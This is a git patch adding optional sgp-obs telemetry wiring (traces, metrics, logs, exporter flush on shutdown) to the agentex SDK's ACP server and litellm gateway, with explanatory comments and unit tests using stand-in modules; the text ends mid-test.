From 35639fa35b3c394c1f6be0067688cf9e210be947 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 13:47:28 -0700 Subject: [PATCH 1/7] =?UTF-8?q?feat(obs):=20wire=20sgp-obs=20from=20the=20?= =?UTF-8?q?SDK=20=E2=80=94=20traces,=20metrics=20and=20logs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Moves the pilot's per-agent sgp-obs wiring into the SDK, so an agent adopts observability by installing sgp-obs and setting environment rather than carrying the wiring code — including the parts that are easy to get wrong and fail silently. AGX1-1113. No `obs` extra, and that is deliberate. Declaring sgp-obs in [project.optional-dependencies] makes THIS repo's uv workspace unresolvable, because sgp-obs is not on public PyPI. Measured: `uv lock --check`, `uv sync --all-extras`, plain `uv sync` with no extras, and `uv sync --all-extras --no-extra obs` all fail — sync re-locks, locking must resolve every declared optional dependency of every workspace member, and `--no-extra` filters what is installed rather than what is resolved. `uv lock` has no `--no-extra`, and `[tool.uv] override-dependencies` does not exempt it either (tried with and without the extras in the override). Only `--frozen` works, which would leave nobody able to re-lock this repo again. CI runs `uv sync --all-packages --all-extras` in 5 places, so this would have gone red on the first push. The dependency is therefore the agent's to declare, against the curated mirror, and the SDK wires it when it is importable. adk/pyproject.toml is now TOML-identical to the released one; only a comment was added, recording why an extra must not be re-added here. Verified against sgp-obs 0.16.0, not the 0.11.0 in the local scaleapi checkout — that package was 23 files behind, and two of the changes matter here: - `sgp_obs.shutdown()` is new in 0.16.0 and the draft never called anything like it. Whatever sits in a periodic exporter's buffer when the pod stops was being dropped, which for a short-lived or scaled-to-zero agent is most of what it recorded. Now flushed from the ACP lifespan's `finally`, in a thread because the flush blocks up to the export timeout. Feature-detected rather than version-pinned, since this package declares no dependency on sgp-obs and so cannot set a floor. - The trace-context ingress no longer hides an active span. That was the span-reparenting hazard behind the old "keep traces off" advice. All three signals, not metrics only. The double opt-in is the trap here, and it is the opposite of what the 0.15.0-era notes say. Measured on 0.16.0 with a real ACP server against a local OTLP receiver: SGP_OBS_ENABLED=true alone -> [] (nothing!) + METRICS=false TRACES=true LOGS=true -> ['metrics'] + all three *_DISABLED=false -> ['logs','metrics','traces'] SGP_OBS_ENABLED=false -> [] Every signal needs its `*_DISABLED` set to an explicit `false`; unset leaves it off. So the master switch on its own produces no telemetry and sgp-obs says nothing about it. init_sgp_obs now warns, naming the three variables, and warns separately when the switch is on but sgp-obs is not installed at all. Those two warnings are the only new log output; absent-and-unasked-for stays silent, because that is every agent that has not adopted. What each signal actually delivers, decoded off the wire: metrics 4 http.server.* families over OTLP, resource service.name set and telemetry_sdk_name=opentelemetry. This is the app= handoff working. traces spans over OTLP, but only business spans or a continued trace — the ingress middleware continues an inbound traceparent and never mints a server span. An agent with no span call sites exports zero, which is correct, not a defect. Confirmed by adding one correlated_span: 1 record, name='agent.turn'. logs structured JSON on STDOUT, not OTLP, carrying source=agentex and service.name. A collector scrapes stdout, so no endpoint is needed — but the pipeline REPLACES the root logger's handlers, so an adopting agent's log format changes. Also passes `source="agentex"` (stamps agent_id and task_id onto every record; the SDK knows the runtime, an agent author would have to know to pass it) and offers AGENT_NAME as the service-name fallback, blank normalised to None so the Helm rendered-empty idiom does not set an empty OTEL_SERVICE_NAME. Two fixes to the draft while reviewing it: 1. [project.optional-dependencies] sat inside the [project] table, between requires-python and classifiers, so TOML reparented `classifiers` into it as an extra whose "requirements" were classifier strings. Fail-closed: hatchling refused to build with "Dependency #1 of option `classifiers` ... is invalid: Typing :: Typed". Moot now the extra is gone, but it would have broken the release build after the title edit and merge. 2. `_split_model`'s docstring claimed `"gpt-4o" -> ("openai", False)`. The code returns True and the code is right: a bare name is OpenAI, litellm reaches OpenAI through the openai client, so the client instrumentor already sees it and `call()` must stand down. Corrected the example, not the code. Tests: 81 passing, `ruff check .` clean, `pyright -p .` 0 errors. They cover what has to hold when sgp-obs is absent, which is every environment today — `init_sgp_obs` returns not_installed AND the ACP server still constructs and answers /healthz and /api (Nitesh's startup item) — plus the flush, the two warnings, and the litellm recorder's null path, which is what every model call goes through without sgp-obs, so a regression there breaks calls rather than losing a metric. The fakes are stand-in modules, so the suite passes with sgp-obs installed or absent. Co-Authored-By: Claude Opus 5 --- adk/pyproject.toml | 18 ++ .../lib/core/adapters/llm/_genai_metrics.py | 112 +++++++ .../lib/core/adapters/llm/adapter_litellm.py | 21 +- .../lib/core/adapters/llm/tests/__init__.py | 0 .../adapters/llm/tests/test_genai_metrics.py | 115 +++++++ .../lib/core/observability/sgp_obs_setup.py | 180 +++++++++++ .../observability/tests/test_sgp_obs_setup.py | 299 ++++++++++++++++++ .../lib/sdk/fastacp/base/base_acp_server.py | 20 ++ 8 files changed, 760 insertions(+), 5 deletions(-) create mode 100644 src/agentex/lib/core/adapters/llm/_genai_metrics.py create mode 100644 src/agentex/lib/core/adapters/llm/tests/__init__.py create mode 100644 src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py create mode 100644 src/agentex/lib/core/observability/sgp_obs_setup.py create mode 100644 src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py diff --git a/adk/pyproject.toml b/adk/pyproject.toml index b0b22ea51..32de08720 100644 --- a/adk/pyproject.toml +++ b/adk/pyproject.toml @@ -65,6 +65,7 @@ dependencies = [ # agentex/lib/* uses `from typing import override` (3.12+) in 19 files. # The slim agentex-client keeps 3.11 support. requires-python = ">= 3.12,<4" + classifiers = [ "Typing :: Typed", "Intended Audience :: Developers", @@ -76,6 +77,23 @@ classifiers = [ "License :: OSI Approved :: Apache Software License", ] +# No `obs` extra, deliberately — do not add one for sgp-obs. +# +# sgp-obs is not on public PyPI (it is served from Scale's curated CodeArtifact +# mirror), and declaring it in [project.optional-dependencies] makes THIS repo's uv +# workspace unresolvable: `uv sync` re-locks, locking must resolve every declared +# optional dependency of every workspace member, and there is no way to exempt one. +# Measured: `uv lock --check`, `uv sync --all-extras`, plain `uv sync` with no extras, +# and `uv sync --all-extras --no-extra obs` all fail (`--no-extra` filters what is +# installed, not what is resolved); `uv lock` has no `--no-extra`; and +# `[tool.uv] override-dependencies` does not exempt it either. Only `--frozen` works, +# which would leave nobody able to re-lock this repo again. +# +# So the dependency is the AGENT's to declare — `sgp-obs[genai-auto,http,otlp]` +# against the mirror — and the SDK wires it when it is importable. See +# agentex/lib/core/observability/sgp_obs_setup.py; nothing imports sgp_obs outside a +# try, so a plain `pip install agentex-sdk` is unaffected either way. + [project.urls] Homepage = "https://github.com/scaleapi/scale-agentex-python" Repository = "https://github.com/scaleapi/scale-agentex-python" diff --git a/src/agentex/lib/core/adapters/llm/_genai_metrics.py b/src/agentex/lib/core/adapters/llm/_genai_metrics.py new file mode 100644 index 000000000..90823a7fe --- /dev/null +++ b/src/agentex/lib/core/adapters/llm/_genai_metrics.py @@ -0,0 +1,112 @@ +"""GenAI metrics for the litellm gateway, via ``sgp_obs.metrics.genai.call()``. + +Why the SDK does this rather than leaving it to zero-code instrumentation: + +Most model calls in the fleet reach the wire through the ``openai`` client, and for +those, patching that one client covers everything with no code — ``Runner.run``, the +ADK's openai provider, and litellm pointed at an OpenAI-compatible proxy. The client +patch cannot help in two situations, and this gateway hits both: + +1. **litellm routing natively** to Anthropic, Bedrock, Vertex or Azure never touches + the ``openai`` client, so nothing records it at all. +2. Even in proxy mode, the patch sits *inside* the OpenAI client, so it reports + ``gen_ai.provider.name="openai"`` — the protocol. It cannot know that the caller + asked for ``claude-sonnet-4``. This gateway chose the vendor, so it can say so. + +``transport=`` resolves the overlap between the two: when the call is going out over +the OpenAI client, we name that, and ``call()`` stands down if the client instrumentor +is already recording. When litellm routes natively there is no such overlap, so we +record. That decision is made per call, from the model string, in +:func:`_transport_for`. + +Everything here is fail-open: sgp-obs is an optional dependency and a telemetry problem +must never fail a model call. If the import fails, :func:`inference_call` returns an +object that records nothing and costs nothing. +""" + +from __future__ import annotations + +from typing import Any + +from agentex.lib.utils.logging import make_logger + +logger = make_logger(__name__) + +# litellm's directive for "send this to the configured OpenAI-compatible proxy". It is +# a routing instruction, not a vendor, so it is stripped before reading the vendor. +_PROXY_PREFIX = "litellm_proxy/" + +# A bare model name with no "/" prefix is OpenAI, per litellm's own default. +_DEFAULT_VENDOR = "openai" + +_warned = False + + +def _split_model(model: str) -> tuple[str, bool]: + """``(vendor, goes_out_over_the_openai_client)`` for a litellm model string. + + ``"litellm_proxy/anthropic/claude-sonnet-4"`` -> ``("anthropic", True)`` + ``"anthropic/claude-sonnet-4"`` -> ``("anthropic", False)`` + ``"gpt-4o"`` -> ``("openai", True)`` + + A bare name is OpenAI, and litellm reaches OpenAI through the ``openai`` + client, so the client instrumentor already sees it and we stand down. + """ + proxied = model.startswith(_PROXY_PREFIX) + rest = model[len(_PROXY_PREFIX):] if proxied else model + vendor = rest.split("/", 1)[0] if "/" in rest else _DEFAULT_VENDOR + # Proxy mode always leaves over the OpenAI client. So does a native openai/* call. + return (vendor or _DEFAULT_VENDOR), proxied or vendor == _DEFAULT_VENDOR + + +def inference_call(kwargs: dict[str, Any]) -> Any: + """Begin recording one litellm call. Never raises, never returns None.""" + try: + # See sgp_obs_setup.py: optional, not publicly installable, absent in CI. + from sgp_obs.metrics import genai # type: ignore[import-not-found] + except Exception: + global _warned + if not _warned: + _warned = True + logger.debug( + "sgp-obs is not available; GenAI metrics are off for litellm calls" + ) + return _NULL_CALL + + try: + model = kwargs.get("model") or "" + vendor, over_openai_client = _split_model(str(model)) + return genai.call( + provider=vendor, + operation=genai.CHAT, + model=str(model), + # litellm normalises every vendor's response onto the OpenAI shape, so one + # parser reads them all — which is exactly what `spec` separates from the + # `provider` label. + spec=genai.OPENAI_SPEC, + transport=genai.OPENAI if over_openai_client else "", + ) + except Exception: + logger.debug("could not start a GenAI metrics record", exc_info=True) + return _NULL_CALL + + +class _NullCall: + """What call sites get when sgp-obs is absent. Records nothing, costs nothing.""" + + def observe(self, response: Any) -> Any: + return response + + # Underscored like __aexit__'s params below: present for parity with the real + # sgp-obs call object, never read here. + def failed(self, _error: BaseException) -> None: + return + + async def __aenter__(self) -> "_NullCall": + return self + + async def __aexit__(self, _exc_type: Any, _exc: Any, _tb: Any) -> bool: + return False # never suppress the caller's exception + + +_NULL_CALL = _NullCall() diff --git a/src/agentex/lib/core/adapters/llm/adapter_litellm.py b/src/agentex/lib/core/adapters/llm/adapter_litellm.py index 7935f5f49..9993cf069 100644 --- a/src/agentex/lib/core/adapters/llm/adapter_litellm.py +++ b/src/agentex/lib/core/adapters/llm/adapter_litellm.py @@ -6,6 +6,7 @@ from agentex.lib.utils.logging import make_logger from agentex.lib.types.llm_messages import Completion from agentex.lib.core.adapters.llm.port import LLMGateway +from agentex.lib.core.adapters.llm._genai_metrics import inference_call logger = make_logger(__name__) @@ -36,9 +37,13 @@ async def acompletion(self, *args, **kwargs) -> Completion: "Please use self.acompletion_stream instead of self.acompletion to stream responses" ) - # Return a single completion for non-streaming - response = await llm.acompletion(*args, **kwargs) - return Completion.model_validate(response) + # `async with`, not try/except: asyncio.CancelledError is a BaseException, so a + # caller that disappears mid-flight would skip an `except Exception` handler and + # the record would be silently dropped. + async with inference_call(kwargs) as call: + # Return a single completion for non-streaming + response = call.observe(await llm.acompletion(*args, **kwargs)) + return Completion.model_validate(response) @override async def acompletion_stream( @@ -47,5 +52,11 @@ async def acompletion_stream( if not kwargs.get("stream"): raise ValueError("To use streaming, please set stream=True in the kwargs") - async for chunk in await llm.acompletion(*args, **kwargs): # type: ignore[misc] - yield Completion.model_validate(chunk) + async with inference_call(kwargs) as call: + # observe() takes ownership of the stream and yields the same chunks, so it + # can read time-to-first-chunk and the token totals off the last chunk. + # Wrapping only the `await` would return before the first chunk arrived and + # record zero tokens for every streamed call. + stream = call.observe(await llm.acompletion(*args, **kwargs)) + async for chunk in stream: # type: ignore[misc] + yield Completion.model_validate(chunk) diff --git a/src/agentex/lib/core/adapters/llm/tests/__init__.py b/src/agentex/lib/core/adapters/llm/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py new file mode 100644 index 000000000..808c6a2a0 --- /dev/null +++ b/src/agentex/lib/core/adapters/llm/tests/test_genai_metrics.py @@ -0,0 +1,115 @@ +"""Tests for ``agentex.lib.core.adapters.llm._genai_metrics``. + +The important property is the one that holds in every environment today: with +``sgp-obs`` absent, :func:`inference_call` must hand back something the litellm +gateway can drive as an async context manager, whose ``observe()`` returns the +response untouched and which never swallows the caller's exception. That is the +path every agent without the ``obs`` extra takes on every model call, so a +regression here breaks model calls rather than just losing a metric. +""" + +from __future__ import annotations + +import sys +import builtins + +import pytest + +from agentex.lib.core.adapters.llm import _genai_metrics +from agentex.lib.core.adapters.llm._genai_metrics import _split_model, inference_call + + +class TestSplitModel: + """``(vendor, goes_out_over_the_openai_client)``. The boolean decides whether + ``call()`` stands down for the OpenAI client instrumentor or records itself, so + getting it wrong either double-counts a call or loses it.""" + + @pytest.mark.parametrize( + ("model", "vendor", "over_openai_client"), + [ + # Proxy mode: litellm sends this to an OpenAI-compatible proxy over the + # openai client, but the caller asked for a non-OpenAI vendor. + ("litellm_proxy/anthropic/claude-sonnet-4", "anthropic", True), + ("litellm_proxy/gpt-4o", "openai", True), + # Native routing: litellm's own handler, no openai client involved. + ("anthropic/claude-sonnet-4", "anthropic", False), + ("bedrock/anthropic.claude-v2", "bedrock", False), + ("vertex_ai/gemini-2.0-flash", "vertex_ai", False), + # A bare name is OpenAI per litellm's default, and reaches OpenAI + # through the openai client — so the instrumentor already sees it. + ("gpt-4o", "openai", True), + ("openai/gpt-4o", "openai", True), + ], + ) + def test_vendor_and_transport(self, model, vendor, over_openai_client): + assert _split_model(model) == (vendor, over_openai_client) + + def test_empty_model_does_not_raise(self): + """kwargs.get("model") is "" when a caller passes model positionally. + Falling back to litellm's own default is right, and must not blow up.""" + assert _split_model("") == ("openai", True) + + +class TestFailsOpenWithoutSgpObs: + @staticmethod + def _hide_sgp_obs(monkeypatch): + for name in [m for m in sys.modules if m.startswith("sgp_obs")]: + monkeypatch.delitem(sys.modules, name, raising=False) + real_import = builtins.__import__ + + def no_sgp_obs(name, *args, **kwargs): + if name == "sgp_obs" or name.startswith("sgp_obs."): + raise ImportError("No module named 'sgp_obs'") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", no_sgp_obs) + # The "already warned" latch is module state; reset so the path is exercised. + monkeypatch.setattr(_genai_metrics, "_warned", False) + + def test_returns_a_usable_recorder_not_none(self, monkeypatch): + self._hide_sgp_obs(monkeypatch) + assert inference_call({"model": "gpt-4o"}) is _genai_metrics._NULL_CALL + + async def test_observe_returns_the_response_unchanged(self, monkeypatch): + """The gateway does `call.observe(await acompletion(...))`, so an observe() + that returned None would turn every completion into None.""" + self._hide_sgp_obs(monkeypatch) + sentinel = object() + async with inference_call({"model": "gpt-4o"}) as call: + assert call.observe(sentinel) is sentinel + + async def test_does_not_suppress_the_callers_exception(self, monkeypatch): + """__aexit__ must return falsey. Suppressing here would make a failed model + call look like a successful one that returned nothing.""" + self._hide_sgp_obs(monkeypatch) + with pytest.raises(ValueError, match="upstream"): + async with inference_call({"model": "gpt-4o"}): + raise ValueError("upstream blew up") + + async def test_cancellation_still_propagates(self, monkeypatch): + """CancelledError is a BaseException; the `async with` in the gateway exists + so a disappearing caller is not silently dropped.""" + import asyncio + + self._hide_sgp_obs(monkeypatch) + with pytest.raises(asyncio.CancelledError): + async with inference_call({"model": "gpt-4o"}): + raise asyncio.CancelledError() + + def test_a_broken_sgp_obs_does_not_break_a_model_call(self, monkeypatch): + """Not just ImportError: anything raised while starting a record must fall + back to the null recorder.""" + module = type(sys)("sgp_obs.metrics") + genai = type(sys)("genai") + + def exploding(**_kwargs): + raise RuntimeError("sgp-obs internals changed") + + genai.call = exploding + genai.CHAT = "chat" + genai.OPENAI_SPEC = "openai" + genai.OPENAI = "openai" + module.genai = genai + monkeypatch.setitem(sys.modules, "sgp_obs", type(sys)("sgp_obs")) + monkeypatch.setitem(sys.modules, "sgp_obs.metrics", module) + assert inference_call({"model": "gpt-4o"}) is _genai_metrics._NULL_CALL diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py new file mode 100644 index 000000000..7cf1da40c --- /dev/null +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -0,0 +1,180 @@ +"""Optional sgp-obs wiring: traces, metrics and logs, switched on by environment. + +Why this lives in the SDK rather than in each agent: the fleet is ~147 agent repos, +and their deployments pin an exact SDK version. Doing the wiring here means an agent +adopts observability by installing ``sgp-obs`` and setting environment, instead of +carrying the wiring code — including the two parts that are easy to get wrong and +fail silently (where ``init()`` is called from, and flushing on the way out). + +``sgp-obs`` is NOT declared as a dependency or an extra of this package. It is not on +public PyPI, and declaring it would make this repo's own uv workspace unresolvable: +``uv sync`` re-locks, locking must resolve every declared optional dependency, and +neither ``--no-extra`` nor ``[tool.uv] override-dependencies`` exempts one. So the +contract is inverted — an agent declares ``sgp-obs[genai-auto,http,otlp]`` itself, +against Scale's curated mirror, and this module wires it if it is importable. Nothing +here imports ``sgp_obs`` outside a ``try``, so a plain ``pip install agentex-sdk`` +behaves exactly as it did before this module existed. + +TWO gates, both of which must pass before anything is recorded: + +1. ``sgp-obs`` must be importable. If it is not, this returns ``"not_installed"``. +2. The environment must ask for it. As of sgp-obs 0.16.0 every signal is opt-in + TWICE: the master switch ``SGP_OBS_ENABLED=true``, AND that signal's + ``*_DISABLED`` variable set to an explicit ``false``. An unset ``*_DISABLED`` + leaves the signal OFF. So the master switch on its own wires nothing at all — + measured on 0.16.0, ``SGP_OBS_ENABLED=true`` alone returns zero handles. All + three signals together need:: + + SGP_OBS_ENABLED=true + SGP_METRICS_DISABLED=false + SGP_TRACES_DISABLED=false + SGP_LOGS_DISABLED=false + + That inverts the advice written against 0.15.0, where traces came on with the + master switch and had to be turned off. This module does not second-guess the + gate — it calls ``init()`` and reports which signals came back — but it does + warn when the master switch is on and nothing wired, because that combination + is otherwise completely silent. + +Metrics additionally need an OTLP endpoint. sgp-obs never builds a MeterProvider +from nothing; in a cluster the OTel Operator's auto-instrumentation normally +supplies one, and agent pods get no injection, so ``OTEL_EXPORTER_OTLP_ENDPOINT`` +has to be on the pod spec. + +Fail-open is absolute: this is telemetry, and no failure here may stop an agent from +starting or serving. Every path returns a status string instead of raising. +""" + +from __future__ import annotations + +import os +from typing import Any + +from agentex.lib.utils.logging import make_logger + +logger = make_logger(__name__) + +_status: str | None = None + +# sgp-obs' own truthy set (sgp_obs.env._TRUTHY), so "is the master switch on?" is +# answered the same way here as in the library deciding whether to wire. +_TRUTHY = {"1", "true", "yes", "on"} + +# The logs-profile selector. The SDK knows the runtime is agentex; an agent author +# would have to know to pass it. It stamps agent_id (from AGENT_ID) and task_id (from +# the SDK's streaming contextvar) onto every log record. +_SOURCE = "agentex" + + +def _master_switch_on() -> bool: + return (os.getenv("SGP_OBS_ENABLED") or "").strip().lower() in _TRUTHY + + +def init_sgp_obs(app: Any = None) -> str: + """Wire sgp-obs if it is installed and enabled. Returns a status; never raises. + + Statuses: ``"not_installed"``, ``"disabled"``, ``"wired:"``, ``"error"``. + + ``app`` is the ACP server. Passing it is what adds ``http.server.*`` for the + agent's own entry point — without it the agent is observable only from the + model call outwards, and its own latency and error rate cannot be alerted on. + It is also what installs the trace-context ingress middleware, so an incoming + ``traceparent`` continues into the agent's spans rather than starting a new trace. + """ + global _status + if _status is not None: + # init() is not meant to run twice, and a Temporal worker plus an ACP + # server can both reach this in one process. + return _status + + try: + # Not resolvable in a normal env: sgp-obs is not a dependency of this + # package and is not on public PyPI. That is the case this branch exists for. + import sgp_obs # type: ignore[import-not-found] + except ImportError: + if _master_switch_on(): + # The operator asked for observability and the package is absent. Silence + # here is the worst outcome, so say what is missing and how to fix it. + logger.warning( + "SGP_OBS_ENABLED is set but sgp-obs is not installed, so no telemetry " + "will be produced. Add sgp-obs[genai-auto,http,otlp] to this agent's " + "dependencies (it resolves from Scale's curated mirror, not public PyPI)." + ) + _status = "not_installed" + return _status + except Exception: # pragma: no cover - a broken install must not stop startup + logger.debug("sgp-obs import failed unexpectedly", exc_info=True) + _status = "error" + return _status + + try: + handles = sgp_obs.init( + app=app, + # Fills OTEL_SERVICE_NAME only when the deployment left it unset or + # blank; the deployment always outranks this. Without either, every + # signal is attributed to service.name="unknown". + service_name=(os.getenv("AGENT_NAME") or "").strip() or None, + source=_SOURCE, + ) + except Exception: # pragma: no cover - sgp_obs.init is itself fail-open + # One deliberate exception to its fail-open rule: under the standard CI + # variable, any logs misconfiguration raises so a build cannot pass while + # logging is broken. Swallowed here regardless — an agent must still serve. + logger.warning("sgp-obs initialization failed; continuing without it", exc_info=True) + _status = "error" + return _status + + if not handles: + if _master_switch_on(): + # 0.16.0's double opt-in: the master switch alone wires nothing, and + # sgp-obs says nothing about it. Name the variables that are missing. + logger.warning( + "SGP_OBS_ENABLED is set but no sgp-obs signal is enabled, so nothing " + "will be exported. Each signal is opt-in separately: set " + "SGP_METRICS_DISABLED=false, SGP_TRACES_DISABLED=false and " + "SGP_LOGS_DISABLED=false for the signals you want. An unset " + "*_DISABLED leaves that signal off." + ) + # Otherwise expected, and the default: an agent with sgp-obs installed still + # records nothing until someone sets the environment. + _status = "disabled" + return _status + + _status = "wired:" + ",".join(sorted(handles)) + logger.info("sgp-obs wired (%s)", _status) + return _status + + +async def shutdown_sgp_obs() -> None: + """Flush the providers ``init()`` built. Never raises. + + Without this, whatever is sitting in a periodic exporter's buffer when the pod + stops is dropped — which for a short-lived or scaled-to-zero agent can be most + of what it recorded. sgp-obs only flushes providers it OWNS; one adopted from + the runtime is left to its owner, so this is safe under operator injection. + + Run in a thread: the flush blocks up to the SDK export timeout per owned signal, + and this is called from an async lifespan. + """ + if _status is None or not _status.startswith("wired"): + return + + try: + import asyncio + + import sgp_obs # type: ignore[import-not-found] + + # Added in sgp-obs 0.16.0. Feature-detected rather than version-pinned, + # because this package does not depend on sgp-obs and so cannot set a floor. + shutdown = getattr(sgp_obs, "shutdown", None) + if shutdown is None: + logger.debug("sgp-obs has no shutdown(); needs 0.16.0+ to flush on exit") + return + await asyncio.to_thread(shutdown) + except Exception: # pragma: no cover - a failed flush must not fail shutdown + logger.debug("sgp-obs shutdown failed", exc_info=True) + + +def _reset_for_tests() -> None: + global _status + _status = None diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py new file mode 100644 index 000000000..929ba1bf6 --- /dev/null +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -0,0 +1,299 @@ +"""Tests for ``agentex.lib.core.observability.sgp_obs_setup``. + +The property under test is that this can never hurt a caller: whatever the state of +sgp-obs or the environment, ``init_sgp_obs`` returns a status string and does not +raise, and ``shutdown_sgp_obs`` does not raise. Both gates get a test, plus the +failure modes, the two silent-misconfiguration warnings, and the flush. + +These never import the real sgp-obs — it is absent in CI by design — so every test +installs a stand-in whose ``init`` is under the test's control. +""" + +from __future__ import annotations + +import sys +import builtins + +import pytest + +from agentex.lib.core.observability import sgp_obs_setup +from agentex.lib.core.observability.sgp_obs_setup import init_sgp_obs, shutdown_sgp_obs + +_SWITCHES = ( + "SGP_OBS_ENABLED", + "SGP_METRICS_DISABLED", + "SGP_TRACES_DISABLED", + "SGP_LOGS_DISABLED", + "AGENT_NAME", +) + + +@pytest.fixture(autouse=True) +def _reset(monkeypatch): + """The status is cached process-wide, so every test starts from unset. The + environment is cleared too: two code paths branch on the master switch, and a + developer with SGP_OBS_ENABLED exported would otherwise flip those tests.""" + for name in _SWITCHES: + monkeypatch.delenv(name, raising=False) + sgp_obs_setup._reset_for_tests() + yield + sgp_obs_setup._reset_for_tests() + + +def _fake_sgp_obs(monkeypatch, init=None, shutdown=None): + """Install a stand-in ``sgp_obs`` module whose entry points we control.""" + module = type(sys)("sgp_obs") + module.init = init if init is not None else (lambda **_kwargs: {"metrics": object()}) + if shutdown is not None: + module.shutdown = shutdown + monkeypatch.setitem(sys.modules, "sgp_obs", module) + return module + + +def _block_sgp_obs_import(monkeypatch, exc=None): + monkeypatch.delitem(sys.modules, "sgp_obs", raising=False) + real_import = builtins.__import__ + error = exc or ImportError("No module named 'sgp_obs'") + + def blocked(name, *args, **kwargs): + if name == "sgp_obs" or name.startswith("sgp_obs."): + raise error + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", blocked) + + +class TestGateOneSgpObsNotInstalled: + def test_missing_package_is_reported_not_raised(self, monkeypatch): + _block_sgp_obs_import(monkeypatch) + assert init_sgp_obs() == "not_installed" + + def test_a_broken_install_does_not_stop_startup(self, monkeypatch): + """An ImportError is ordinary; anything else is a broken install, not a + missing one, and must still be swallowed.""" + _block_sgp_obs_import(monkeypatch, RuntimeError("half-installed wheel")) + assert init_sgp_obs() == "error" + + def test_silence_is_expected_when_nobody_asked(self, monkeypatch, caplog): + """sgp-obs is not a dependency, so absent-and-unasked-for is the normal + case for every agent. It must not warn.""" + _block_sgp_obs_import(monkeypatch) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "not_installed" + assert caplog.records == [] + + def test_enabled_but_missing_says_what_to_install(self, monkeypatch, caplog): + """The one case that must be loud: the operator asked for observability and + the package is not there. Silence would look like working instrumentation.""" + monkeypatch.setenv("SGP_OBS_ENABLED", "true") + _block_sgp_obs_import(monkeypatch) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "not_installed" + assert len(caplog.records) == 1 + assert "sgp-obs is not installed" in caplog.text + assert "genai-auto,http,otlp" in caplog.text + + +class TestGateTwoEnvironmentSwitches: + def test_no_handles_means_disabled(self, monkeypatch): + """sgp_obs.init() returns an empty dict when the master switch or every + per-signal switch is off. That is the DEFAULT: sgp-obs installed, and + recording nothing until someone sets the environment.""" + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + assert init_sgp_obs() == "disabled" + + def test_disabled_and_unasked_for_is_quiet(self, monkeypatch, caplog): + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "disabled" + assert caplog.records == [] + + def test_master_switch_on_but_nothing_wired_names_the_variables( + self, monkeypatch, caplog + ): + """sgp-obs 0.16.0 made every signal opt-in twice: the master switch plus an + explicit *_DISABLED=false. So SGP_OBS_ENABLED on its own wires nothing and + says nothing, which is the single easiest way to believe an agent is + instrumented when it is not.""" + monkeypatch.setenv("SGP_OBS_ENABLED", "true") + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "disabled" + assert len(caplog.records) == 1 + for var in ("SGP_METRICS_DISABLED", "SGP_TRACES_DISABLED", "SGP_LOGS_DISABLED"): + assert var in caplog.text + + @pytest.mark.parametrize("raw", ["1", "true", "TRUE", "yes", "on"]) + def test_master_switch_truthy_forms(self, monkeypatch, caplog, raw): + """Matched to sgp_obs.env._TRUTHY, so this module's idea of "on" is the + same as the library's. A mismatch would put the warning on the wrong side.""" + monkeypatch.setenv("SGP_OBS_ENABLED", raw) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {}) + with caplog.at_level("WARNING"): + init_sgp_obs() + assert len(caplog.records) == 1 + + def test_all_three_signals_are_named_in_the_status(self, monkeypatch): + _fake_sgp_obs( + monkeypatch, + lambda **_kwargs: {"logs": object(), "metrics": object(), "traces": object()}, + ) + assert init_sgp_obs() == "wired:logs,metrics,traces" + + +class TestWhatIsPassedToSgpObs: + @staticmethod + def _capture(monkeypatch): + seen = {} + + def capture(**kwargs): + seen.update(kwargs) + return {"metrics": object()} + + _fake_sgp_obs(monkeypatch, capture) + return seen + + def test_app_reaches_sgp_obs(self, monkeypatch): + """Passing the ACP server is what adds http.server.* for the agent's own + entry point and installs the trace-context ingress, so it must not be + silently dropped.""" + seen = self._capture(monkeypatch) + sentinel = object() + init_sgp_obs(app=sentinel) + assert seen["app"] is sentinel + + def test_source_is_agentex(self, monkeypatch): + """The SDK knows the runtime; an agent author would have to know to pass it. + It is what stamps agent_id and task_id onto log records.""" + seen = self._capture(monkeypatch) + init_sgp_obs() + assert seen["source"] == "agentex" + + def test_agent_name_is_offered_as_the_service_name(self, monkeypatch): + """sgp-obs fills OTEL_SERVICE_NAME from this only when the deployment left + it unset; without either, every signal is attributed to "unknown".""" + monkeypatch.setenv("AGENT_NAME", "compass-sleep-agent") + seen = self._capture(monkeypatch) + init_sgp_obs() + assert seen["service_name"] == "compass-sleep-agent" + + @pytest.mark.parametrize("raw", ["", " "]) + def test_blank_agent_name_is_passed_as_none(self, monkeypatch, raw): + """Blank is the Helm rendered-empty idiom. Forwarding "" would have sgp-obs + set OTEL_SERVICE_NAME to an empty string rather than leave it alone.""" + monkeypatch.setenv("AGENT_NAME", raw) + seen = self._capture(monkeypatch) + init_sgp_obs() + assert seen["service_name"] is None + + +class TestFailOpen: + def test_an_exception_from_init_is_swallowed(self, monkeypatch): + def boom(**_kwargs): + raise ValueError("boom") + + _fake_sgp_obs(monkeypatch, boom) + assert init_sgp_obs() == "error" + + def test_a_ci_logs_misconfiguration_still_does_not_stop_startup(self, monkeypatch): + """sgp_obs.init has one deliberate exception to its own fail-open rule: under + the CI variable, a logs misconfiguration raises. An agent must still serve.""" + + def strict(**_kwargs): + raise RuntimeError("MisconfigurationError: drop mode without an allowlist") + + _fake_sgp_obs(monkeypatch, strict) + assert init_sgp_obs() == "error" + + def test_status_is_computed_once(self, monkeypatch): + 